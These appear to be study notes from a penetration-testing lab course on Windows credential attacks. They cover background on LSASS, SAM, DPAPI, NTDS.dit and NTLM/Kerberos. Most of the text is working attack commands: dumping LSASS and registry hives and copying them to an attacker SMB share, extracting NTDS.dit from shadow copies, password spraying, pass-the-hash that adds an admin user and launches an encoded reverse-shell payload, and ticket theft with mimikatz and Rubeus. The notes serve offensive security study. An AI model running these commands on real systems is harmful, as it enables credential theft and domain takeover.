WinLogon and LSASS

WInLogon is a trusted system process responsible for managing security-related interactions (LogonUI, password changes, locking and unlocking workstation). It interecepts login requests from the keyboard, sent via RPC from Win32k.sys. At logon, the LogonUI is immediately presented to present the GUI. Once the credentials are collected, WinLogon passes them to Local Security Authority Subsystem Service (LSASS) to authenticate the user.

Each interactive logon sessions creates a separate instance of the WinLogon service. The Graphical Identification and Authentication (GINA) architecture is loaded by WinLogon that receives and processes the credentials, and invokes the authentication interfaces via the LSALogonUser function.

LSASS governs the authentication process and is located at %SystemRoot%\System32\Lsass.exe. Responsible for enforcing local security policy, authenticating users, forwarding security audit logs to the Event Log.

On initial login, it will

  • Cache credentials locally in memory
  • Create access tokens
  • Enforce security policies
  • Write to Windows’ security log

Within the LSASS dump we have

  • MSV is the authentication package in Windows that LSA calls on to validate logon attempts against the SAM database.
  • WDIGEST is an older authentication protocol. LSASS caches credentials used by WDIGEST in clear-text.
  • Kerberos is a network authentication used by AD. LSASS caches passwords, ekeys, tickets, pins.
  • DPAPI master key is contained in the LSASS process memory.

Can dump via Task Manager (Task Manager -> Processes -> Local Security Authority Process -> Create Dump File).

# view running processes and identify LSASS PID
tasklist /svc
# or
Get-Process lsass
 
# create a dump file
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
 
# extract from .dmp file
pypykatz lsa minidump /home/peter/Documents/lsass.dmp 
 
# crack NT hash
sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

SAM, Registry Hives, and Local Secrets

Security Account Manager (SAM) is a database file in Windows OS that stores user account credentials. User passwords are stored as LM or NTLM hashes. Located at %SystemRoot%\system32\config\SAM and is mounted HKLM\SAM.

If the system is a workgroup (each computer keeps its own local user accounts) the SAM datatabse is handled locally. If the system is domain joined the DC must validate the credentials if the Active Directory which is stored on the DC in %SystemRoot%\ntds.dit.

To protect against offline cracking of the SAM database, SYSKEY partially encrypts the SAM file on disk to ensure password hashes for all local accounts are encrypted with a key.

Three registry hives we can copy if we have local administrative access:

  • HKLM\SAM that contains password hashes for local user accounts.
  • HKLM\SYSTEM that stores the system boot key which is used to encrypt the SAM database
  • HKLM\SECURITY has info used by the Local Security Authority (LSA) like cached domain credentials, cleartext passwords, DPAPI keys, etc.
    • DPAPI is the set of APIs in Windows used to encrypt and decrypt data blobs (Google Chrome passwords, Outlook, RDP passwords, etc.) on a per-user basis.
# copy registry hives with reg.exe
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
 
# transfer files from target host to attack host
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/
 
# move associated data to the shares
move sam.save \\10.10.15.16\CompData
move system.save \\10.10.15.16\CompData
move security.save \\10.10.15.16\CompData
 
# dump hashes (decrypt SAM database with boot key)
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
 
# crack NT hashes
sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
 
# cracking DCC2  hashes (domain logon information) with PBKDF2
hashcat -m 2100 '$DCC2$10240#administrator#23d97555681813db79b2ade4b4a6ff25' /usr/share/wordlists/rockyou.txt
 
# Target secrets over the network (need local admin)
## LSA secrets remotely
netexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa
 
## dumping sam
netexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam

Cached domain creds live in HKLM\SECURITY\Cache, encrypted with the NL$KM secret — separate from SAM and from Policy\Secrets. Kiwi’s lsa_dump_sam (local hashes) and lsa_dump_secrets (LSA secrets) never touch the Cache key. Mimikatz needs a separate command: lsadump::cache (not wrapped by kiwi; use kiwi_cmd "lsadump::cache"). secretsdump LOCAL parses the entire SECURITY hive offline: bootkey from SYSTEM → decrypts NL$KM → decrypts all cache entries. Bonus: offline parsing avoids live-host issues (privileges, LSASS protection) that can make kiwi output partial.

Credential Manager and DPAPI

Allows users to store and manage credentials used to access network resources, websites and applications. Stored in:

%UserProfile%\AppData\Local\Microsoft\Vault\
%UserProfile%\AppData\Local\Microsoft\Credentials\
%UserProfile%\AppData\Roaming\Microsoft\Vault\
%ProgramData%\Microsoft\Vault\
%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\

Each vault folder contains a Policy.vpol file with AES keys provided by DPAPI. Newer version of windows store DPAPI master keys in secure memory enclaves. There exists two types of credential stores:

  • Web Credentials: associated with websites and online accounts
  • Windows credentials: used to store login tokens for various services such as OneDrive, and credentials related to domain users.
# decrypt DPAPI remotely
mimikatz.exe
mimikatz # dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect
 
# export Windows vaults
rundll32 keymgr.dll,KRShowKeyMgr
 
# enumerate credentails
cmdkey /list
 
# If we come accross an 'Interactive' credential we can impersonate the saved cred
runas /savecred /user:SRV01\mcharles cmd

NTDS and Domain Hashes

Logon requests in domain joined environments are sent to Domain Controllers within the same Active Directory forest. Every DC has a file called NTDS.dit which is synced across all Domain Controllers.

Once a Windows system is joined to a domain, it will no longer default to referencing the SAM database to validate logon requests. It will now send authentication requests to be validated by the domain controller. SAM can still be used if you specify the hostname in the Username field.

A note on finding usernames: We can often find the email structure by Googling the domain name and get some valid emails. We can scrape various social media sites and mashup potential valid usernames. We can Google dork to find some valid usernames as well.

THe file is stored at %systemroot%/ntds. The .dit in NTDS.dit stands for directory information tree.

# Convert list of real names into common username formats
./username-anarchy -i /home/ltnbob/names.txt 
 
# confirm the naming convention and confirming the validity of some usernames
./kerbrute_linux_amd64 userenum --dc 10.129.201.57 --domain inlanefreight.local names.txt
 
# brute-force attack - can possibly lead to account lockout if policy exists
netexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt
 
# connect to target DC
evil-winrm -i 10.129.201.57  -u bwilliamson -p 'P@55w0rd!'
 
# check local group membership
net localgroup
 
# check user account privileges
net user bwilliamson
 
# create a shadow copy of C: - very likely NTDS is store in C:
vssadmin CREATE SHADOW /For=C:
 
# copying NTDS.dit from the VSS
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
 
# transfer the NTDS
cmd.exe /c move C:\NTDS\NTDS.dit \
 
# extracting hashes
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
 
# NetExec direct NTDS.dit capture
netexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! -M ntdsutil

Credential Hunting

# Use Lazagne to dump credentials
start LaZagne.exe all
 
# search for patterns accross many type of files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml 

Some interesting places to look:

  • Passwords in Group Policy in the SYSVOL share
  • Passwords in scripts in the SYSVOL share
  • Password in scripts on IT shares
  • Passwords in web.config files on dev machines and IT shares
  • Password in unattend.xml
  • Passwords in the AD user or computer description fields
  • KeePass databases (if we are able to guess or crack the master password)
  • Found on user systems and share
  • Files with names like pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, and Sharepoint

Pass the Hash

Windows New Technology LAN Manager (NTLM) is a set of security protocols that authenticates, and protects integrity and confidentiality of data. It is Single Sign-On (SSO) solution that uses challenge-response protocol to verify the user’s identity without having them provide a password.

With NTLM passwords are stored as non-salted hashes, therefore an adversary can authenticate a session without knowing the original password.

Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol.

User Account Control (UAC) limits local users’ ability to perform remote administrations when the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy is 0. Meaning only the local admin is allowed to perform remote admin tasks. This does not apply if we get access to a domain account with administrative rights on a computer, PtH is still valid.

There is one exception, if the registry key FilterAdministratorToken (disabled by default) is enabled (value 1), the RID 500 account (even if it is renamed) is enrolled in UAC protection. This means that remote PTH will fail against the machine when using that account.

# pass the hash attack with mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
 
# Invoke-TheHash can use SMB or WMI for command execution
## SMB
cd C:\tools\Invoke-TheHash\
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
 
## WMI
# get a reverse shell
.\nc.exe -lvnp 8001
 
# WMI with base64 shellcode
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5A..."
 
# Impacket via psexec
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
 
# Netexec
netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
 
# local authnetication
netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 --local-auth
## -x to execute commands
 
# evil-winrm
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
 
# RDP 
## Restricted Admin Mode has to be enabled on the target host, add new registry key 
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
 
xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

Pass the Ticket

Using a stolen Kerberos ticket to move laterally instead of an NTLM password hash.

Kerberos system is ticket-based, the goal is not to give an account password for every service you use. So there exists:

  • Ticket Granting Ticket (TGT) is the first ticket obtained on a Kerberos system. Allows asking for additional tickets.
    • To request, you must authenticate to the DC by encrypting timestamp with password hash.
  • Ticket Granting Service (TGS) is requested by users who want to use a service.

To execute a PtT we need a TGS or TGT.

# Harvesting tickets from Windows via mimikatz
mimikatz # privilege:debug
mimikatz # sekurlsa::tickets /export
 
## `randomvalue]-username@service-domain.local.kirbi` style tickets are user tickets
## tickets with $ correspond to the computer account, which needs a ticket to communicate with AD
 
# pass the ticket
mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
 
# export tickets via rubeus
Rubeus.exe dump /nowrap
 
# Pass the ticket
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

Pass the Key

Convert a hash/key for a domain-joined user into a full TGT. To forge our tickets, we need to have the user’s hash.

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
 
## create a cmd.exe window that we can use to request access to any service in the user's context
 
# rubeus
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

Powershell Remoting with Tickets

mimikatz # privilege::debug
 
# import current the TGT into the Windows logon session
mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
 
# connect to target machine, only after we ticket has been imported
Enter-PSSession -ComputerName DC01
 
# create a sacrificial process to prevent erasure of existing TGTs for current logon session
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
 
# Pass the ticket for lateral movement
Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt